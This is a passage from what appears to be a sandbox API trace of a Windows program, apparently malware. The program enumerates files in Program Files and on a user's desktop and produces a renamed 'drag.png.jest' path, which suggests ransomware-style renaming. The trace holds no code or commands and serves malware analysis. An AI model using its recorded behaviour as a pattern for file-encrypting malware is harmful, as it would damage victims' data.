HALPmcxz\\Desktop\\kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", lpFilePart=0x18e708*="kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp") returned 0x8f [0123.830] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e708*="DMR_48.png") returned 0x45 [0123.830] GetFullPathNameA (in: lpFileName="kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", lpFilePart=0x18e6e4*="kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp") returned 0x8f [0123.830] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39544a6b, cFileName="EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.830] GetLastError () returned 0x2 [0123.830] GetLastError () returned 0x2 [0123.830] SetLastError (dwErrCode=0x2) [0123.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.831] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.832] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.832] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.832] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.832] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.832] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.833] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.835] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.836] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.837] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.838] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.839] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.840] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.841] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.841] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.841] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.842] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.843] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.844] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.845] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.846] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.846] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.846] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.846] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.851] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e870*="drag.png") returned 0x47 [0123.857] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png.jest", lpFilePart=0x18e870*="drag.png.jest") returned 0x4c [0123.894] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x47 [0123.894] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb371d95c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x78, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0123.894] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.894] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x47 [0123.895] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x47 [0123.896] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.896] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x38c)) [0123.896] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x38c)) [0123.896] GetUserDefaultLCID () returned 0x409 [0123.896] VarBstrFromR4 (in: fltIn=0x479443f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.91") returned 0x0 [0123.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0123.896] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e780*="drag.png") returned 0x47 [0123.897] GetFullPathNameA (in: lpFileName="_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", lpFilePart=0x18e708*="_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp") returned 0x8e [0123.897] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x47 [0123.898] GetFullPathNameA (in: lpFileName="_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", lpFilePart=0x18e6e4*="_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp") returned 0x8e [0123.898] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_5pZB7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a70355f, cFileName="B7OcTc4AFeEG4sYjuXZlxoV1Fp4tM8muzob0rFSgL4zbCoB -rsiCufz5KUUSLJipfWDXpZbU3uTx4XiUKsfKoPfgjpFEQGw.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.898] GetLastError () returned 0x2 [0123.898] GetLastError () returned 0x2 [0123.898] SetLastError (dwErrCode=0x2) [0123.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.898] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.900] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e870*="icon.png") returned 0x47 [0123.935] GetFullPathNameA (in: lpFileName="C:\\Program Files 